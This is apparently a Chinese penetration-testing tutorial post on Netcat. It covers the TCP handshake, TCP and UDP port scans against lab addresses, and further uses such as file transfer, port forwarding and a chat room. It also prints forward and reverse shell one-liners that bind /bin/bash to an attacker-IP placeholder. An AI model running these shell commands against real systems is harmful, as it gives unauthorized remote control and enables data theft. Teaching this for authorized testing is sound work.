郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
感谢您的点赞、关注、收藏、分享!
𖤐 深 呼 吸 、 放 轻 松 ,这 只 是 一 个 故 事。
𖤐 𝓓𝓮𝓮𝓹 𝓫𝓻𝓮𝓪𝓽𝓱, 𝓻𝓮𝓵𝓪𝔁, 𝓲𝓽'𝓼 𝓳𝓾𝓼𝓽 𝓪 𝓼𝓽𝓸𝓻𝔂.
→ 信息收集▸主动采集▸端口枚举:Netcat-----我们在这儿~ 🔥🔥🔥
→ 漏洞检测
→ 初始立足点
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
1.4 主动信息收集
1.4.2 Netcat/nc
📚Netcat工具是什么?
Netcat(简称:nc)是一款功能强大的网络工具,支持 TCP 和 UDP 协议,可实现:端口扫描、数据传输、网络调试、反向 / 正向 shell 建立等多种功能。它操作简洁,能在不同操作系统间跨平台使用,既适用于网络管理员进行日常诊断,也因可快速创建网络连接的特性,在渗透测试等场景中被广泛应用,是网络领域中兼具实用性与灵活性的经典工具。
由于后续内容多次使用到Netcat的其他功能,因此本文补充了除端口扫描外的其他功能。
🔍 端口扫描原理:
端口扫描就像是给目标计算机的“门(端口)”挨个敲门(TCP)或者投递信件(UDP),看看哪些“门”是开着的(端口开放)。通过检查哪些端口开放,我们能知道目标运行了哪些服务(比如:Web服务器、数据库),从而发现潜在的攻击入口点。
⚠️ 重要警告:
🚫 法律风险高! 在未获得明确书面授权的情况下进行端口扫描,在绝大多数地方都是非法的!仅限于授权测试或学习环境!
💥 潜在危害大! 盲目扫描,尤其是高强度扫描,可能:
产生大量流量,压垮目标网络或服务,导致客户业务中断(DoS)。
触发目标系统的安全警报(IDS/IPS)。
被视为恶意攻击行为。
🔧 工具需谨慎: 用错工具或参数,可能事与愿违甚至造成破坏。
💡 思路(聪明扫描法):
别一上来就“地毯式轰炸”!高效又低调的做法是:
-
🎯 精准初探: 先只扫描最关键的端口(如
80
- HTTP,443
- HTTPS)。快速找出可能的 Web 服务器。 -
🔄 并行深入: 有了初步目标列表后,在后台对这些特定服务器进行完整的端口扫描。同时进行其他信息搜集工作。
-
🎯 逐步聚焦: 拿到完整扫描结果后,再缩小范围,对重点目标和服务进行更深入、信息量更大的扫描(比如服务识别、漏洞探测)。
🛠 工具:Netcat (nc) (基础版)
虽然 Netcat 主要设计是网络连接工具,不是专业扫描器,但可以用它演示端口扫描的基本原理!
1.4.2.1 TCP:端口扫描(完整三次握手)
🤝 原理:想象你要拜访朋友家(目标端口),三次握手过程:
-
SYN (敲门): 你敲门 (
SYN
包)。 -
SYN-ACK (有人应门): 如果朋友在家且愿意开门(端口开放),他会回应“谁呀?” (
SYN-ACK
包)。 -
ACK (确认身份): 你回答“是我!” (
ACK
包)。门开了,连接建立!✅ 端口开放! -
没回应/拒绝: 如果没人应门(端口关闭或被防火墙静默丢弃)或者朋友直接喊“走开!”(
RST
包),则 端口关闭或不可达。❌
以下是技术上三次握手详细过程(重要知识点):
想象一下客户端 (📱) 和服务器 (💻) 最初都像关着门的小房子,处于
CLOSED
(关闭)状态。
服务器准备接客 (🙋♀️ 被动开启):
①TCP 服务器进程 (💻) 先创建传输控制块TCB
(可以理解为准备连接所需的资源和记录本)。
②然后它就搬个小板凳坐在门口,时刻准备接受客户端的敲门。此时服务器进入了LISTEN
(监听)状态。👂客户端敲门 (👋 第一次握手 - 主动开启):
①TCP 客户端进程 (📱) 也创建传输控制块 TCB
。
②它走到服务器门前,发送连接请求报文
。这个“敲门暗号”很特别:
-seq = x
👉 (Sequence Number):客户端随机选择一个初始序列号x
作为自己发送数据的起点。
-SYN = 1
👉 (Synchronize Sequence Numbers):表示“我想和你同步序列号,建立连接吧!”
发完“敲门暗号”,客户端就紧张地等在门口,进入了SYN-SENT
(同步已发送) 状态。⏳服务器回应并邀请 (👉 第二次握手):
服务器 (💻) 听到了敲门声 (收到了请求报文)。如果它同意连接 (有空位),就会回应一个确认报文
。这个回应包含两层意思:
-seq = y
👉:服务器也随机选择一个自己的初始序列号y
作为发送数据的起点。 -SYN = 1
👉:同时也表示“我也要和你同步,建立连接吧!”
-ack = x + 1
👉 (Acknowledgment Number):确认号设置为x + 1
,意思是“我期待你下次从编号x+1
的数据开始发”。
-ACK = 1
👉 (Acknowledgment):表示“我收到你的敲门暗号 (x
) 了!”
发出这个“同意+邀请”的回应后,服务器也进入了等待最终确认的状态:SYN-RCVD
(同步收到)状态。 📬🔄客户端最终确认 (✅ 第三次握手):
客户端 (📱) 收到了服务器的回应,非常高兴!
它立刻发出最后一个确认报文
:
-seq = x + 1
👉:因为它的第一个 SYN 包占用了序号x
,所以下一个包序号就是x + 1
。
-ack = y + 1
👉:确认号设置为y + 1
,意思是“我期待你下次从编号y+1
的数据开始发”。
-ACK = 1
👉:表示“我收到你的同意和邀请 (y
) 啦!”
发送完这个确认,TCP 连接就正式建立成功!
客户端欢快地进入了ESTABLISHED
(已建立连接) 状态。 🤝✅服务器完成连接 (🎉):
服务器 (💻) 一旦收到客户端的最终确认报文 (ACK for y),就进入了ESTABLISHED
(已建立连接) 状态。 🎉✅
💻 实战命令:
$ nc -nvv -w 1 -z 192.168.50.152 3388-3390
# 目标:192.168.50.152,扫描端口:3388 到 3390 (通常 RDP 在 3389)
-
-n
:不进行 DNS 解析 (更快更直接)。 -
-vv
:显示最详细的过程信息 (看个明白)。 -
-w 1
:超时 1 秒 (等 1 秒没反应就放弃)。 -
-z
:零 I/O 模式 (只扫描,不发实际数据)。
🔍 结果分析 (Wireshark 抓包视角):
kali@kali:~$ nc -nvv -w 1-z 192.168.50.152 3388-3390
(UNKNOWN)[192.168.50.152] 3390(?):Connection refused
(UNKNOWN)[192.168.50.1521 3389(ms-wbt-server)open
(UNKNOWN)[192.168.50.152] 3388(?):Connection refused
sent 0.rcvd
-
nc
(发送方192.168.118.2) 向目标 (192.168.50.152) 的3390
,3389
,3388
依次发送SYN
包 (敲门)。 -
端口
3389
开放:-
目标回复
SYN-ACK
(数据包 4) 👉 "门后有回应!" -
nc
回复ACK
(数据包 5) 👉 完成握手!✅ 连接建立! -
最后
nc
发送FIN-ACK
(数据包 6) 礼貌关闭连接。
-
-
其他端口 (
3388
,3390
) 关闭:-
目标直接回复
RST-ACK
包 (红色标记) 👉 "拒绝访问!走开!" ❌
-
📌 关键点:
CONNECT
扫描完成 完整的三次握手,行为与正常连接尝试非常相似,容易被目标日志记录。
1.4.2.2 UDP:端口扫描
📮 原理:UDP 没有“握手”。扫描更像是往门缝里塞一张空白纸条 (空 UDP 包
)。
-
发送空包: 把空白纸条塞进目标端口。
-
可能的结果:
-
✅ 端口开放 (且服务响应): 门后的人 (服务) 看到了纸条,并且回了一封信 (UDP 响应包)。明确知道门开着! (但很多服务不理空白纸条,不回复UDP响应包)。
-
✅ 端口开放 (但服务不响应): 门后的人看到了纸条,但觉得是垃圾,直接扔掉不理你 (无响应)。你只能靠“没收到拒信”来猜测门可能开着?🤔
-
❌ 端口关闭: 纸条塞不进去!邮局 (系统内核) 会给你发个 “查无此门!” (ICMP Port Unreachable) 的通知单。明确知道门关着!
-
🚧 被防火墙过滤: 纸条在半路就被保安 (防火墙) 没收了!你既收不到回信,也收不到拒信!一片死寂... 这让你误以为“门可能开着?” (实际可能关着) 😫 最大的不可靠来源!
-
💻 实战命令:
$ nc -nv -u -z -w 1 192.168.50.149 120-123
-
-u
:指定 UDP 模式 。 -
-n
,-v
,-w 1
,-z
:含义同 TCP 扫描。
kali@kali:~$ nc -nv u-z-w 1 192.168.50.149 120-123
(UNKNOWN)[192.168.50.149]123(ntp)open
🔍 结果分析 (示例):
-
nc
向端口120
,121
,122
,123
发送空 UDP 包。 -
端口
123
(NTP) 可能开放: 没有收到任何回复 (服务不响应空包)。 -
端口
120
,121
,122
关闭: 收到了ICMP Port Unreachable
(拒信) ❌。
🚨 UDP 扫描的“痛点”:
👻 端口 (误报): 防火墙过滤是最大敌人!收不到
ICMP拒信
就猜开放,结果常常是 “假阳性”!明明门关着,却以为开着。🔍 扫描范围窄: 很多扫描器(包括策略)只扫“常见”UDP端口,漏掉冷门但关键的服务端口。
🙈 容易被忽视: 测试者常常沉迷于“热闹”的 TCP 端口,忘了扫 UDP!殊不知 UDP 服务(如 SNMP, TFTP, NFS, DNS)藏着巨大风险!
🐢 速度慢 & 不可靠: 要等待 ICMP 响应或超时,速度远慢于 TCP 扫描,结果还不一定准。
📦 流量相对小: 相比需要多次交互的 TCP 扫描,UDP 扫描(尤其是只发空包)产生的流量较小。
📌 关键结论:UDP 扫描虽难且不准,但绝不能跳过! 它是发现隐藏服务的必要环节,需要结合其他工具和方法交叉验证结果。
扩展内容:Netcat的其他功能
1.4.2.3 文件传输
🤝原理:在两台设备间建立 TCP 连接,将文件内容通过连接流式传输(无需额外协议,直接基于原始数据)。
📥 接收端(坐等收件):
先启动,监听本地 1234 端口,将接收的数据写入file.txt。
$ nc -l 1234 > file.txt # -l:进入监听模式
📤 发送端(闪电发货):
连接接收方的 1234 端口,发送data.txt
内容。
$ nc 接收方IP 1234 < data.txt
1.4.2.4 文件夹传输
🛬 接收端(被动监听,解压降落伞):
$ nc -l 1234 | tar xzvf - # 自动解压空投包
✈️ 发送端(打包空投,并发送):
tar czvf - /home/meow | nc <接收端IP> 1234 # 发送整个喵星文件夹
1.4.2.5 远程 shell(正向 / 反向连接)
💻原理:将本地 shell(如 bash)的输入 / 输出绑定到网络连接,实现远程控制(渗透测试中常用)。
1.正向 shell(目标主动开放 shell 端口,攻击者连接):
🎯 目标机(被攻击目标主机,被动监听方):
$ nc -l 4444 -e /bin/bash
# -e:将连接绑定到 bash;
# -l:表示“监听”指定的端口,即让 nc 等待并接受来自远程主机的连接。
🕵️ 攻击者(主动连接方):
$ nc 目标IP 4444 # 连接后直接获得目标机 shell
2.反向 shell (目标机主动连接攻击主机,绕过防火墙限制):
🕵️ 攻击者(先监听):
$ nc -lvnp 4444 # 坐等Shell上门
🎯 目标机(主动连接到攻击者):
$ nc 攻击机IP 4444 -e /bin/bash # 目标交出控制器。主动连接攻击者并将 shell 发送给攻击者。
1.4.2.6 端口转发(流量中转)
🛡️原理:监听本地端口,将收到的流量转发到指定目标端口,实现数据中转。
示例:
将本地 8080 端口的流量转发到10.0.0.2:80
:
-
接收端:
$ nc -l 8080 | nc 10.0.0.2 80 # nc -l 8080:监听本地的 8080 端口,等待从远程主机发送数据。 # |:管道符号,将 nc 的输出传递到下一个 nc 命令。 # nc 10.0.0.2 80:将接收到的数据转发到 IP 地址 10.0.0.2 的 80 端口。
-
发送端:
$ nc 10.0.0.2 80 | nc -l 8080 # nc 10.0.0.2 80:连接到 10.0.0.2 的 80 端口。 # |:同样是管道符号,将输入数据传递给下一个命令。 # nc -l 8080:监听本地 8080 端口,等待来自远程的响应。
1.4.2.7 UDP 通信测试
🔍原理:基于无连接的 UDP 协议发送 / 接收数据,用于测试 UDP 服务。
🗼 服务端:
$ nc -u -l 1234 # 服务端像在等UDP漂流瓶
✉️ 客户端:
$ echo "Hello from 2025!" | nc -u <服务端IP> 1234 # 客户端像在扔“漂流瓶”
1.4.2.8 简易聊天室
🏠 主机A(开聊天室):
$ nc -l 1234 # 创建房间「1234」
📱 主机B(加入聊天):
$ nc <主机A的IP> 1234 # 输入IP加入房间
然后,输入文字回车即发送,Ctrl+C 退出聊天。
1.4.2.9 参数速查表
参数 | 作用 | 相当于 |
---|---|---|
-l | 变身服务器 | 开启「监听模式」 |
-u | 切换UDP协议 | TCP的孪生兄弟 |
-v | 详细模式 | 把每一步都说出来 |
-w | 设置耐心值(秒) | 超时自动放弃 |
-z | 间谍扫描 | 偷偷观察不打招呼 |
-e | 执行命令 | 高危操作开关! |
💎 冷知识:不同系统有
nc
、netcat
、ncat
三种版本,用man nc
查看你的武器说明书!
创作不易,请您~点赞、关注、收藏、分享~
您的支持是我创作最大的动力!
老惯例:欣赏欣赏艺术~